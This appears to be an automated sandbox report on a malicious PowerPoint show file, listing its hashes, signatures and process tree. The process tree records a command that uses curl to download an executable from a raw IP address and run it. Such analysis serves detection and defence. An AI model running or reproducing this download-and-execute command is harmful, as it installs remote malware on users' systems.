Analysis

  • max time kernel
    29s
  • max time network
    34s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    17-03-2023 14:25

General

  • Target

    Marzo.pps

  • Size

    54KB

  • MD5

    a7b9fa984e5fc897da9871f5efea2aad

  • SHA1

    a1e4a02b1fb617ede5dba236642eedd7eb24df93

  • SHA256

    ca6cca63731e86074f4b715fd5ff280771c7478aa9e336267e8cc95cdf4905fe

  • SHA512

    10e1eaf4f11771e977ce7ffcaf2fb2a8bc8a260b47422561ffe782f71a6937def6c97dc949b58532513bba4e2cbf70685710eba34b442a002191f0c2dee8c5bd

  • SSDEEP

    384:XvA6kFP4VCa8KJKrhr09JrDucC9Q8UfTb:6FP4VCaJJMxIgcCVU

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\Marzo.pps"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1256
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1096
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c curl http://109.248.11.155/network.exe -o C:\Users\Admin\AppData\Roaming\update.exe & explorer C:\Users\Admin\AppData\Roaming\update.exe
        2⤵
        • Process spawned unexpected child process
        PID:672

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1256-54-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1256-58-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB